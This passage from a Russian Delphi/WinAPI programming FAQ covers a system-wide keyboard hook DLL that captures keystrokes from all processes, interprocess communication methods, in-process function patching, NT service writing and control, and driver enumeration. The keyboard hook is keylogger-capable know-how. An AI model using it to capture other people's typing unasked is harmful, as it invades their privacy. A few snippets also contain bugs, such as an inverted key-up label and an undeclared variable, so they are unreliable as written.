  if Mapping <> 0 then
    CloseHandle(Mapping);
end.
Вопросы обмена практически решены и можно дописать функцию KeyboardProc. После этого код DLL тоже можно привести полностью:
library HookDLL;

uses Windows, Exchange;

function KeyboardProc(Code: Integer; wParam: WPARAM;
  lParam: LPARAM): Integer; stdcall;
begin
  if Code < 0 then
    Result := CallNextHookEx(CommonArea^.HookHandle, Code, wParam,
      lParam)
  else
  begin
    PostMessage(CommonArea^.FormHandle, Exchange.WMKeyHook, wParam,
      lParam );
    Result := CallNextHookEx(CommonArea^.HookHandle, Code, wParam,
      lParam );
  end;
end;

function SetHook(Activate : BOOL): BOOL; stdcall; export;
begin
  Result := FALSE;
  if Activate then
  begin
    CommonArea^.HookHandle := SetWindowsHookEx(WH_KEYBOARD,
      @KeyboardProc, hInstance, 0);
    Result := (CommonArea^.HookHandle <> 0);
  end
  else
  begin
    if CommonArea^.HookHandle <> 0 then
    begin
      Result := UnhookWindowsHookEx(CommonArea^.HookHandle);
      if Result then
        CommonArea^.HookHandle := 0;
    end;
  end;
end;

exports
  SetHook;

begin
end.

Для посылки сообщения лучше использовать PostMessage, т.к. она, в отличие от SendMessage просто помещает сообщение в очередь, не задерживая программу на время его обработки.
В вызывающем приложении необходимо написать следующий код:

unit HookForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    cbSetHook: TCheckBox;
    Memo1: TMemo;
    procedure cbSetHookClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    procedure AppOnMessage(var Msg: TMsg; var Handled: Boolean);
  end;

var
  Form1: TForm1;

implementation

uses Exchange;

{$R *.DFM}

// Объявляем прототип функции SetHook
function SetHook(Activate: BOOL): BOOL; stdcall;
  external 'HookDLL.DLL';

procedure TForm1.cbSetHookClick(Sender: TObject);
// Это функция-обработчик компонента TCheckBox
// В зависимости от него состояния она устанавливает
// или снимает перехватчик клавиатуры
begin
  SetHook(cbSetHook.Checked);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // Очищаем область обмена
  FillChar(CommonArea^, SizeOf(CommonArea^), 0);
  // Сообщения от ловушки будут посылаться приложению
  CommonArea^.FormHandle := Application.Handle;
  // Устанавливаем обработчик сообщений
  Application.OnMessage := AppOnMessage;
end;

procedure TForm1.FormDestroy(Sender: TObject);
// По завершении программы не забываем снять ловушку.
begin
  if cbSetHook.Checked then
    SetHook( FALSE );
end;

procedure TForm1.AppOnMessage(var Msg: TMsg; var Handled: Boolean);
var
  Buffer: array[0..50] of Char;
  S: String;
  Flags : Word;
begin
  if Msg.Message = Exchange.WMKeyHook then
  begin
    // Получаем наименование нажатой клавиши
    GetKeyNameText(Msg.lParam, @Buffer, SizeOf(Buffer));
    S := StrPas(Buffer);
    Flags := Msg.lParam shr 16;
    if (Flags and KF_UP) <> 0 then
      S := S + ' down'
    else if (Flags and KF_REPEAT) <> 0 then
      S := S + ' repeat'
    else S := S + ' up';
    Memo1.Lines.Add(S);
    Handled := TRUE;
  end;
end;

end.

Способы обмена данными между процессами
Далее мы рассмотрим основные способы обмена данными между процессами и их область применимости.

Clipboard
Буфер обмена предназначен для переноса данных пользователем между приложениями. Приложения должны поддерживать копирование своих данных в буфер и вставку из него, однако, они не должны использовать буфер обмена без участия пользователя, поскольку это приведет к уничтожению помещенных туда данных. В Delphi для работы с буфером обмена имеется класс TClipboard.
Также необходимо обратить внимание, что некоторые приложения (например, Microsoft Excel) ведут себя по-разному в Windows 95 и в Windows NT. При вставке из буфера обмена из под Windows NT, Excel вставляет данные в кодировке UNICODE, и, если русский текст был помещен в буфер обмена как 8-битовые символы, вставленные данные оказываются некорректными. Для решения этой проблемы необходимо определять версию Windows и вставлять текст с её учетом. Сделать это можно следующим образом:

procedure SendToClipboard(const S: String);
var
  Data: THandle;
  DataPtr: Pointer;
  Version: TOSVersionInfo;
  Size: Integer;
begin
  Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(Version);
  if Version.dwPlatformId = VER_PLATFORM_WIN32_NT then
  with Clipboard do
  begin
    Size := Length(S) * SizeOf(WideChar) + 1;
    Open;
    try
      Data := GlobalAlloc(GMEM_MOVEABLE + GMEM_DDESHARE, Size);
      try
        DataPtr := GlobalLock(Data);
        try
          MultiByteToWideChar(CP_ACP, 0, PChar(S), Length(S),
            DataPtr, Size);
          Clear;
          SetClipboardData(CF_UNICODETEXT, Data);
        finally
          GlobalUnlock(Data);
        end;
      finally
        GlobalFree(Data);
      end;
    finally
      Close;
    end;
  end
  else
    Clipboard.SetTextBuf(PChar(S));
end;

COM
COM – это языконезависимая технология, позволяющая одному приложению вызывать методы другого даже если они находятся в разных процессах или на разных машинах. Разумеется, для этого вызываемое приложение должно предоставить совместимый со спецификацией COM интерфейс вызовов, т.е. быть COM-сервером. Delphi позволяет создавать такие интерфейсы, при помощи ключевого слова interface. Также Delphi содержит полный набор инструментов для быстрого создания COM-серверов, а также для написания клиентов, использующих их возможности.
Типичный сценарий взаимодействия процессов при помощи COM выглядит следующим образом:
1. Программа, предоставляющая другим программам возможность вызывать свои функции, реализует COM-сервер, создаваемый при помощи мастера File->New->ActiveX->COM object
2. Затем эта программа регистрирует себя в реестре (для этого надо однократно запустить её на компьютере)
3. Программы, нуждающиеся в обращении к функциям, реализованным в COM-сервере запрашивают создание экземпляра сервера при помощи функции
function CreateComObject(const ClassID: TGUID): IUnknown;
либо при помощи класса-оболочки, автоматически сгенерированного Delphi
Примером работы с COM-объектом может служить следующий код:

uses MyComServer_TLB;

…

var
  MyComObject: IMyComObject;
…

MyComObject := CoMyComObject.Create;
…  // Вызов методов IMyComObject
MyComObject := NIL;  // Освобождение экземпляра COM-сервера

Остановимся подробнее на некоторых ключевых моментах приведенного примера.
MyComServer_TLB.pas – это модуль, автоматически генерируемый Delphi, при создании нового COM-объекта. Этот модуль содержит описание интерфейса (IMyComObject) и реализацию ко-класса (CoMyComObject) – специального класса-оболочки, который позволяет запросить создание COM-объекта не вдаваясь в подробности архитектуры COM. Метод Create класса CoMyComObject возвращает ссылку на интерфейс созданного экземпляра COM-сервера. Для освобождения COM-сервера из памяти необходимо присвоить ссылке на него значение NIL. При этом автоматически уменьшится значение счетчика ссылок, и, при достижении им нуля, сервер будет автоматически выгружен. Если MyComObject является локальной переменной, то сервер будет выгружен при выходе этой переменной за пределы диапазона видимости.

Dynamic Data Exchange (DDE)
DDE – механизм, поддерживаемы для обеспечения совместимости со старыми приложениями. Новые программы не должны использовать его для взаимодействия, однако, если необходимо обеспечить управление старым приложением, поддерживающим этот протокол – Delphi имеет в составе VCL компоненты для создания как DDE клиентов (TDdeClientConv, TDdeClientItem), так и серверов (TDdeServerConv, TDdeServerItem)

File Mapping
Отображение файла на память позволяет процессу рассматривать содержимое файла как часть своего адресного пространства. Если несколько процессов используют один и тот же объект отображения файла на память, то каждый из них имеет участок своего адресного пространства, синхронизируемый с аналогичным участком остальных процессов. Отображение файла на память является очень эффективным способом совместного использования данных разными процессами. Разумеется, если существует вероятность одновременного изменения этих данных несколькими процессами, должна использоваться синхронизация. Использование этого механизма уже было подробно рассмотрено при создании перехватчика клавиатуры.

Mailslots
Почтовые слоты – способ однонаправленной коммуникации. Приложение-сервер открывает слот, а клиенты могут писать в него. Слот сохраняет сообщения до тех пор, как сервер не прочтет их. Разумеется, одно приложение может быть одновременно сервером и клиентом, обеспечивая двунаправленную связь. При этом приложения могут находиться даже на разных компьютерах в сети.
Delphi не содержит компонентов для работы с почтовыми слотами, поэтому программировать их необходимо используя WinAPI

Pipes
Каналы бывают именованные и неименованные.
Неименованные или анонимные каналы обычно используются для перенаправления стандартных устройств ввода-вывода.
Именованный канал с известным именем обычно создается сервером, позволяя клиентам связываться с ним. При этом клиенты могут находиться на других компьютерах в сети. Именованный канал может быть создан только под Windows NT. Компьютеры под Windows 9x могут подключаться к каналу, но не могут создавать его сами.

RPC
RPC (Remote Procedure Call) – это API, позволяющий приложению удаленно вызывать функции в других процессах как на своём, так и на удаленном компьютере. Предоставляемая Win32 API модель RPC совместима со спецификациями Distributed Computing Environment (DCE), разработанными Open Software Foundation. Это позволяет приложениям Win32 удаленно вызывать процедуры приложений, выполняющихся на других компьютерах под другими операционными системами. RPC обеспечивают автоматическое преобразование данных между различными аппаратными и программными архитектурами.

Windows Sockets
Надстройка над коммуникационными протоколами, позволяющая писать независимые от сетевого протокола приложения, обменивающиеся данными. Спецификация WinSock 2 позволяет работать с сокетами как с обычными файлами, используя те же функции ввода-вывода.

WM_COPYDATA
Сообщение WM_COPYDATA позволяет приложениям копировать данные между их адресными пространствами. При этом приложения не обязательно должны быть 32-разрядными – для 16-разрядных приложений поддерживается автоматическая трансляция указателей.
Для примера создадим два приложения. В одном из них добавим следующий код:
const
  CD_CMD_SETCAPTION = 1;
  // определяем команду для передачи данных

procedure TForm1.Button1Click(Sender: TObject);
var
  CDS: TCopyDataStruct;
begin
  // задаем команду
  CDS.dwData := CD_CMD_SETCAPTION;
  // задаем длину передаваемых данных
  CDS.cbData := Length(Edit1.Text) + 1;
  // выделяем память под буфер для передачи данных
  GetMem(CDS.lpData, CDS.cbData);
  try
    // копируем данные в буфер
    StrPCopy(CDS.lpData, Edit1.Text);
    // посылаем сообщение в окно с заголовком «CopyData Reciever»
    SendMessage(FindWindow(NIL, 'CopyData Reciever'),
      WM_COPYDATA, Handle, Integer(@CDS));
  finally
    // освобождаем буфер
    FreeMem(CDS.lpData, CDS.cbData);
  end;
end;

В принимающем данные приложении создадим окно с заголовком «CopyData Reciever» и добавим в форму следующий код:

const
  CD_CMD_SETCAPTION = 1;

type
  TForm1 = class(TForm)
  private
    // создаем обработчик WM_COPYDATA
    procedure WMCopyData(var M: TWMCopyData); message WM_COPYDATA;
  end;

…

procedure TForm1.WMCopyData(var M: TWMCopyData);
begin
  // Если команда – установить заголовок
  if M.CopyDataStruct.dwData = CD_CMD_SETCAPTION then begin
    // Берем текст заголовка из данных
    Caption := PChar(M.CopyDataStruct.lpData);
    M.Result := 1;
  end else
    M.Result := 0;
end;

При нажатии кнопки Button1 в первой форме заголовок второй станет равен тексту компонента Edit1. Отмечу, что сообщение WM_COPYDATA может быть послано только при помощи функции SendMessage. Если приложение, получающее данные, должно использовать их после возврата из обработчика WM_COPYDATA, оно должно скопировать данные в локальный буфер.

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Hook функций в собственном приложении

type
  TSaveRedir = packed record
    Addr: Pointer;
    Bytes: array[0..4] of Byte;
  end;
  PSaveRedir = ^TSaveRedir;

procedure RedirectCall(FromAddr, ToAddr: Pointer; SaveRedir: PSaveRedir);
var
  OldProtect: Cardinal;
  NewCode: packed record
    JMP: Byte;
    Distance: Integer;
  end;
begin
  if not VirtualProtect(FromAddr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then
    RaiseLastWin32Error;
  if Assigned(SaveRedir) then
  begin
    SaveRedir^.Addr := FromAddr;
    Move(FromAddr^, SaveRedir^.Bytes, 5);
  end;
  NewCode.JMP := $E9;
  NewCode.Distance := PChar(ToAddr) - PChar(FromAddr) - 5;
  Move(NewCode, FromAddr^, 5);
  if not VirtualProtect(FromAddr, 5, OldProtect, OldProtect) then
    RaiseLastWin32Error;
end;

procedure UndoRedirectCall(const SaveRedir: TSaveRedir);
var
  OldProtect: Cardinal;
begin
  if not VirtualProtect(SaveRedir.Addr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then
    RaiseLastWin32Error;
  Move(SaveRedir.Bytes, SaveRedir.Addr^, 5);
  if not VirtualProtect(SaveRedir.Addr, 5, OldProtect, OldProtect) then
    RaiseLastWin32Error;
end;

// Example: Replace Application.MessageBox with your own.

function MyNewMessageBox(Self: TApplication; const Text, Caption: PChar;
  Flags: Longint): Integer;
begin
  ShowMessage('New Messagebox');
  //....
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Application.MessageBox('You`ll never see this Text /
    Diesen Text wirst du nie sehen', '...', MB_OK);
end;

var
  S: TSaveRedir;

initialization
  RedirectCall(@TApplication.MessageBox, @MyNewMessageBox, @S);

finalization
  UndoRedirectCall(S);

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Сервисы NT и драйверы, функции специфичные для XP

Cодержание раздела:

Написание сервисов Windows NT на WinAPI
Как запустить и остановить сервис (или получить его статус)?
Как управлять сервисом на другом компьютере в W2K?
Как получить список загруженных драйверов? New!
Как проверить запущен ли сервис? New!
Управление NT-сервисами New!
Написание Terminal Services Client New!
Как сделать System Restore point (XP)? New!
Проверить не запущена ли terminal client session? New!
How immediately start a service after its installation? New!

См. также
Шифрование файлов при помощи NTFS функций New!


Написание сервисов Windows NT на WinAPI

Источник: delphi.xonix.ru
Причиной написания этой статьи, как не странно, стала необходимость написания своего сервиса. Но в Borland'е решили немного "порадовать" нас, пользователей Delphi 6 Personal, не добавив возможности создания сервисов (в остальных версиях Delphi 5 и 6 эта возможность имеется в виде класса TService). Решив, что еще не все потеряно, взял на проверку компоненты из одноименного раздела этого сайта. Первый оказался с многочисленными багами, а до пробы второго я не дошел, взглянув на исходник - модуль Forms в Uses это не только окошки, но и более 300 килобайт "веса" программы. Бессмысленного увеличения размера не хотелось и пришлось творить свое.
Так как сервис из воздуха не сотворишь, то мой исходник и эта статья очень сильно опираются на MSDN.

Итак, приступим к написанию своего сервиса...
Обычный Win32-сервис это обычная программа. Программу рекомендуется сделать консольной (DELPHI MENU | Project | Options.. | Linker [X]Generate Console Application) и крайне рекомендуется сделать ее без форм !!! и удалить модуль Forms из Uses. Рекомендуется потому, что, во-первых, это окошко показывать не стоит потому, что оно позволит любому юзеру, прибив ваше окошко прибить и сервис и, во-вторых, конечно же, размер файла (19Kb против 350 ). Поэтому удаляем форму (DELPHI MENU | Project | Remove from project... ). Удалив все формы, перейдем на главный модуль проекта, в котором удаляем текст между begin и end и Forms из Uses и добавляем Windows и WinSvc. В результате должно получиться что-то вроде этого

program Project1;

uses
 Windows,WinSvc;

{$R *.res}

begin

end.

На этом подготовительный этап закончен - начинаем писАть сервис.
Главная часть программы
Как уже отмечалось - сервис это обычная программа. Программа в Pascal'е находится между begin и end. После запуска нашего сервиса (здесь и далее под запуском сервиса понимается именно запуск его из Менеджера сервисов, а не просто запуск exe'шника сервиса) менеджер сервисов ждет пока наш сервис вызовет функцию StartServiceCtrlDispatcher.Ждать он будет недолго - если в нашем exe'шнике несколько сервисов то секунд 30, если один - около секунды, поэтому помещаем вызов StartServiceCtrlDispatcher поближе к begin.

StartServiceCtrlDispatcher качестве аргумента требует _SERVICE_TABLE_ENTRYA, поэтому добавляем в var DispatchTable : array [0..кол-во сервисов] of _SERVICE_TABLE_ENTRYA; и заполняем этот массив (естественно перед вызовом StartServiceCtrlDispatcher).

Т.к. в нашем ехешнике будет 1 сервис, то заполняем его так :

 DispatchTable[0].lpServiceName:=ServiceName;
 DispatchTable[0].lpServiceProc:=@ServiceProc;

 DispatchTable[1].lpServiceName:=nil;
 DispatchTable[1].lpServiceProc:=nil;

Советую завести константы ServiceName - имя сервиса и ServiceDisplayName - отображаемое имя.
ServiceProc - основная функция сервиса(о ней ниже), а в функцию мы передаем ее адрес.
В DispatchTable[кол-во сервисов] все равно nil - это показывает функции, что предыдущее поле было последним. У меня получилось так :

begin
 DispatchTable[0].lpServiceName:=ServiceName;
 DispatchTable[0].lpServiceProc:=@ServiceProc;

 DispatchTable[1].lpServiceName:=nil;
 DispatchTable[1].lpServiceProc:=nil;

 if not StartServiceCtrlDispatcher(DispatchTable[0])
  then LogError('StartServiceCtrlDispatcher Error');
end.

StartServiceCtrlDispatcher выполнится только после того, как все сервисы будут остановлены.

Функция LogError протоколирует ошибки - напишите ее сами.
Функция ServiceMain
ServiceMain - основная функция сервиса. Если в ехешнике несколько сервисов, но для каждого сервиса пишется своя ServiceMain функция. Имя функции может быть любым! и передается в DispatchTable.lpServiceProc:=@ServiceMain (см.предыдущущий абзац). У меня она называется ServiceProc и описывается так:
procedure ServiceProc(argc : DWORD;var argv : array of PChar);stdcall;
argc кол-во аргументов и их массив argv передаются менеджером сервисов из настроек сервиса. НЕ ЗАБЫВАЙТЕ STDCALL!!! Такая забывчивость - частая причина ошибки в программе.

В ServiceMain требуется выполнить подготовку к запуску сервиса и зарегистрировать обработчик сообщений от менеджера сервисов (Handler). Опять после запуска ServiceMain и до запуска RegisterServiceCtrlHandler должно пройти минимум времени. Если сервису надо делать что-нибудь очень долго и обязательно до вызова RegisterServiceCtrlHandler, то надо посылать сообщение SERVICE_START_PENDING функией SetServiceStatus.

Итак, в RegisterServiceCtrlHandler передаем название нашего сервиса и адрес функции Handler'а (см.далее). Далее выполняем подготовку к запуску и настройку сервиса. Остановимся на настройке поподробнее.
Эта самая настройка var ServiceStatus : SERVICE_STATUS;
(ServiceStatusHandle : SERVICE_STATUS_HANDLE и ServiceStatus надо сделать глобальными переменными и поместить их выше всех функций).

dwServiceType - тип сервиса |
SERVICE_WIN32_OWN_PROCESS | Одиночный сервис
SERVICE_WIN32_SHARE_PROCESS | Несколько сервисов в одном процессе
SERVICE_INTERACTIVE_PROCESS | интерактивный сервис (может взаимодействовать с пользователем).

Остальные константы - о драйверах. Если надо - смотрите их в MSDN.

dwControlsAccepted - принимаемые сообщения (какие сообщения мы будем обрабатывать)
SERVICE_ACCEPT_PAUSE_CONTINUE приостановка/перезапуск
SERVICE_ACCEPT_STOP остановка сервиса
SERVICE_ACCEPT_SHUTDOWN перезагрузка компьютера
SERVICE_ACCEPT_PARAMCHANGE изменение параметров сервиса без перезапуска (Win2000 и выше)
Остальные сообщения смотрите опять же в MSDN (куда уж без него ;-)

dwWin32ExitCode и dwServiceSpecificExitCode - коды ошибок сервиса. Если все идет нормально, то они должны быть равны нулю, иначе коду ошибки.

dwCheckPoint - если сервис выполняет какое-нибудь долгое действие при остановке, запуске и т.д. то dwCheckPoint является индикатором прогресса (увеличивайте его, чтобы дать понять, что сервис не завис), иначе он должен быть равен нулю.

dwWaitHint - время, через которое сервис должен послать свой новый статус менеджеру сервисов при выполнении действия (запуска, остановки и т.д.). Если dwCurrentState и dwCheckPoint через это кол-во миллисекунд не изменится, то менеджер сервисов решит, что произошла ошибка.

dwCurrentState - см. где-то здесь Ставим его в SERVICE_RUNNING, если сервис запущен

После заполнения этой структуры посылаем наш новый статус функцией SetServiceStatus и мы работаем :).

После этого пишем код самого сервиса. Я вернусь к этому попозже.
Вот так выглядит моя ServiceMain :

procedure ServiceProc(argc : DWORD;var argv : array of PChar);stdcall;
var
 Status : DWORD;
 SpecificError : DWORD;
begin
  ServiceStatus.dwServiceType      := SERVICE_WIN32;
  ServiceStatus.dwCurrentState     := SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP
    or SERVICE_ACCEPT_PAUSE_CONTINUE;
  ServiceStatus.dwWin32ExitCode           := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint              := 0;
  ServiceStatus.dwWaitHint                := 0;

  ServiceStatusHandle :=
           RegisterServiceCtrlHandler(ServiceName,@ServiceCtrlHandler);
  if ServiceStatusHandle = 0 then WriteLn('RegisterServiceCtrlHandler Error');

  Status :=ServiceInitialization(argc,argv,SpecificError);
  if Status <> NO_ERROR
   then begin
    ServiceStatus.dwCurrentState := SERVICE_STOPPED;
    ServiceStatus.dwCheckPoint   := 0;
    ServiceStatus.dwWaitHint     := 0;
    ServiceStatus.dwWin32ExitCode:=Status;
    ServiceStatus.dwServiceSpecificExitCode:=SpecificError;

    SetServiceStatus (ServiceStatusHandle, ServiceStatus);
   LogError('ServiceInitialization');
    exit;
   end;

   ServiceStatus.dwCurrentState :=SERVICE_RUNNING;
   ServiceStatus.dwCheckPoint   :=0;
   ServiceStatus.dwWaitHint     :=0;

   if not SetServiceStatus (ServiceStatusHandle,ServiceStatus)
    then begin
     Status:=GetLastError;
    LogError('SetServiceStatus');
     exit;
    end;
  // WORK HERE
  //ЗДЕСЬ БУДЕТ ОСНОВНОЙ КОД ПРОГРАММЫ
end;

Функция Handler
Функция Handler будет вызываться менеджером сервисов при передаче сообщений сервису. Опять же название функции - любое. Адрес функции передается с помощью функции RegisterServiceCtrlHandler (см. выше). Функция имеет один параметр типа DWORD (Cardinal) - сообщение сервису. Если в одном процессе несколько сервисов - для каждого из них должна быть своя функция.
procedure ServiceCtrlHandler(Opcode : Cardinal);stdcall;
Опять не забываем про stdcall.

Итак, функция получает код сообщения, который мы и проверяем. Начинаем вспоминать, что мы писали в ServiceStatus.dwControlsAccepted. У меня это SERVICE_ACCEPT_STOP и SERVICE_ACCEPT_PAUSE_CONTINUE, значит, мне надо проверять сообщения SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_STOP и выполнять соответствующие действия. Остальные сообщения:

ServiceStatus.dwControlsAccepted Обрабатываемые сообщения
SERVICE_ACCEPT_PAUSE_CONTINUE SERVICE_CONTROL_PAUSE и SERVICE_CONTROL_CONTINUE
SERVICE_ACCEPT_STOP SERVICE_CONTROL_STOP
SERVICE_ACCEPT_SHUTDOWN SERVICE_CONTROL_SHUTDOWN
SERVICE_ACCEPT_PARAMCHANGE SERVICE_CONTROL_PARAMCHANGE
Также надо обрабатывать SERVICE_CONTROL_INTERROGATE. Что это такое - непонятно, но обрабатывать надо :) Передаем новый статус сервиса менеджеру сервисов функцией SetServiceStatus.

Пример функции Handler:

procedure ServiceCtrlHandler(Opcode : Cardinal);stdcall;
var
 Status : Cardinal;
begin
 case Opcode of
  SERVICE_CONTROL_PAUSE    :
   begin
    ServiceStatus.dwCurrentState := SERVICE_PAUSED;
    end;
  SERVICE_CONTROL_CONTINUE :
   begin
    ServiceStatus.dwCurrentState := SERVICE_RUNNING;
   end;
  SERVICE_CONTROL_STOP     :
   begin
    ServiceStatus.dwWin32ExitCode:=0;
    ServiceStatus.dwCurrentState := SERVICE_STOPPED;
    ServiceStatus.dwCheckPoint   :=0;
    ServiceStatus.dwWaitHint     :=0;

    if not SetServiceStatus (ServiceStatusHandle,ServiceStatus)
     then begin
      Status:=GetLastError;
     LogError('SetServiceStatus');
      Exit;
     end;
     exit;
   end;

  SERVICE_CONTROL_INTERROGATE : ;
 end;

 if not SetServiceStatus (ServiceStatusHandle, ServiceStatus)
  then begin
   Status := GetLastError;
   LogError('SetServiceStatus');
   Exit;
  end;
end;

Реализация главной функции программы
В функции ServiceMain (см.там, где отмечено) пишем код сервиса. Так как сервис обычно постоянно находится в памяти компьютера, то скорее всего код будет находиться в цикле. Например в таком :

repeat
 Что-нибудь делаем пока сервис не завершится.
until ServiceStatus.dwCurrentState = SERVICE_STOPPED;
Но это пройдет если сервис не обрабатывает сообщения приостановки/перезапуска, иначе сервис никак не прореагирует. Другой вариант :
repeat
 if ServiceStatus.dwCurrentState <> SERVICE_PAUSED
  then чего-то делаем
until ServiceStatus.dwCurrentState = SERVICE_STOPPED;
И третий, имхо, самый правильный вариант = использование потока :
Пишем функцию
function MainServiceThread(p:Pointer):DWORD;stdcall;
begin
 что-то делаем
end;
и в ServiceMain создаем поток
var
 ThID : Cardinal;

hThread:=CreateThread(nil,0,@MainServiceThread,nil,0,ThID);
и ждем его завершения
WaitForSingleObject(hThread,INFINITE);
закрывая после этого его дескриптор
CloseHandle(hThread);
При этом hThread делаем глобальной переменной.
Теперь при приостановке сервиса (в Handler) делаем так
  SERVICE_CONTROL_PAUSE    :
   begin
    ServiceStatus.dwCurrentState := SERVICE_PAUSED;
    SuspendThread(hThread); // приостанавливаем поток
   end;
и при возобновлении работы сервиса
  SERVICE_CONTROL_CONTINUE :
   begin
    ServiceStatus.dwCurrentState := SERVICE_RUNNING;
    ResumeThread(hThread); // возобновляем поток
   end;

Взято из http://forum.sources.ru


Как запустить и остановить сервис (или получить его статус)?

Здесь представлены две функции ServiceStart и ServiceStop, которые показывают, как пользоваться API функциями OpenSCManager, OpenService и т.д.:

function ServiceStart(aMachine, aServiceName : string ) : boolean;
// aMachine это UNC путь, либо локальный компьютер если пусто
var
  h_manager,h_svc: SC_Handle;
  svc_status: TServiceStatus;
  Temp: PChar;
  dwCheckPoint: DWord;
begin
  svc_status.dwCurrentState := 1;
  h_manager := OpenSCManager(PChar(aMachine), Nil,
                             SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager, PChar(aServiceName),
                         SERVICE_START or SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      temp := nil;
      if (StartService(h_svc,0,temp)) then
        if (QueryServiceStatus(h_svc,svc_status)) then
        begin
          while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;

            Sleep(svc_status.dwWaitHint);

            if (not QueryServiceStatus(h_svc,svc_status)) then
              break;

            if (svc_status.dwCheckPoint < dwCheckPoint) then
            begin
              // QueryServiceStatus не увеличивает dwCheckPoint
              break;
            end;
          end;
        end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;

function ServiceStop(aMachine,aServiceName : string ) : boolean;
// aMachine это UNC путь, либо локальный компьютер если пусто
var
  h_manager,h_svc   : SC_Handle;
  svc_status     : TServiceStatus;
  dwCheckPoint : DWord;
begin
  h_manager:=OpenSCManager(PChar(aMachine),nil,
                           SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager,PChar(aServiceName),
                         SERVICE_STOP or SERVICE_QUERY_STATUS);

    if h_svc > 0 then
    begin
      if(ControlService(h_svc,SERVICE_CONTROL_STOP,
                        svc_status))then
      begin
        if(QueryServiceStatus(h_svc,svc_status))then
        begin
          while(SERVICE_STOPPED <> svc_status.dwCurrentState)do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;
            Sleep(svc_status.dwWaitHint);

            if(not QueryServiceStatus(h_svc,svc_status))then
            begin
              // couldn't check status
              break;
            end;

            if(svc_status.dwCheckPoint < dwCheckPoint)then
              break;

          end;
        end;
      end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;

  Result := SERVICE_STOPPED = svc_status.dwCurrentState;
end;

Чтобы узнать состояние сервиса, используйте следующую функцию:

function ServiceGetStatus(sMachine, sService: string ): DWord;
var
  h_manager,h_service: SC_Handle;
  service_status     : TServiceStatus;
  hStat : DWord;
begin
  hStat := 1;
  h_manager := OpenSCManager(PChar(sMachine) ,Nil,
                             SC_MANAGER_CONNECT);

  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager,PChar(sService),
                      SERVICE_QUERY_STATUS);

    if h_svc > 0 then
    begin
      if(QueryServiceStatus(h_svc, service_status)) then
        hStat := service_status.dwCurrentState;

      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;

  Result := hStat;
end;

Она возвращает одну из следующих констант:

SERVICE_STOPPED
SERVICE_RUNNING
SERVICE_PAUSED
SERVICE_START_PENDING
SERVICE_STOP_PENDING
SERVICE_CONTINUE_PENDING
или
SERVICE_PAUSE_PENDING

Всё что, что Вам нужно, это unit WinSvc !

Взято из http://forum.sources.ru


Как управлять сервисом на другом компьютере в W2K?

Требуется написать управление сервисом, запущеном на другом компьютере. С помошью чего это лучеше сделать?

uses
  Windows, Messages, SysUtils,
  StdCtrls, SvcMgr;
var
  ssStatus: TServiceStatus;
  schSCManager,
    schService: SC_HANDLE;

begin
  schSCManager := OpenSCManager(PChar('Comp1'), //имя компьютера, nil - local machine
    nil, // ServicesActive database
    SC_MANAGER_ALL_ACCESS); // full access rights

  if schSCManager = 0 then exit; //Ошибка?

  schService := OpenService(
    schSCManager, // SCM database
    PChar('SQLServerAgent'), // посмотри имя в Services. В данном случае - MS Server Agent
    SERVICE_ALL_ACCESS);

  if schService = 0 then exit; //Ошибка?

  if not QueryServiceStatus(
    schService, // handle to service
    ssStatus) then // address of status information structure
    exit; //Ошибка?

  case ssStatus.dwCurrentState of
    :
      SERVICE_RUNNING: ShowMessage('Работает!');
    SERVICE_STOPPED: ShowMessage('Выключен');
// ну и т.д.
  end;
end;

Взято с сайта http://blackman.wp-club.net/


Как получить список загруженных драйверов?

{
  This code takes advantage of the undocumented NtQuerySystemInformation
  API to obtain a list of loaded drivers under Windows NT.
}

const
  DRIVER_INFORMATION = 11;

type
  TPDWord = ^DWORD;

  TDriverInfo = packed record
    Address: Pointer;
    Unknown1: DWORD;
    Unknown2: DWORD;
    EntryIndex: DWORD;
    Unknown4: DWORD;
    Name: array [0..MAX_PATH + 3] of Char;
  end;

var
  NtQuerySystemInformation: function (infoClass: DWORD;
  buffer: Pointer;
  bufSize: DWORD;
  returnSize: TPDword): DWORD; stdcall = nil;

  function GetDriverInfo: string;
  var
    temp, Index, numBytes, numEntries: DWORD;
    buf: TPDword;
    driverInfo: ^TDriverInfo;
  begin
    if @NtQuerySystemInformation = nil then
      NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),
        'NtQuerySystemInformation');

    // Obtain required buffer size
    NtQuerySystemInformation(DRIVER_INFORMATION, @temp, 0, @numBytes);
    // Allocate buffer
    buf := AllocMem(numBytes * 2);

    NtQuerySystemInformation(DRIVER_INFORMATION, buf, numBytes * 2, @numBytes);
    numEntries := buf^;
    driverInfo := Pointer(DWORD(buf) + 12);
    Result     := '';
    for Index := 1 to numEntries do
    begin
      Result := Result + #$D#$A + 'Address: $' + IntToHex(DWORD(driverInfo^.Address), 8) +
        'Name: "' + (driverInfo^.Name) + '"';
      Inc(driverInfo);
    end;
    Delete(Result, 1, 2);
    FreeMem(buf);
  end;

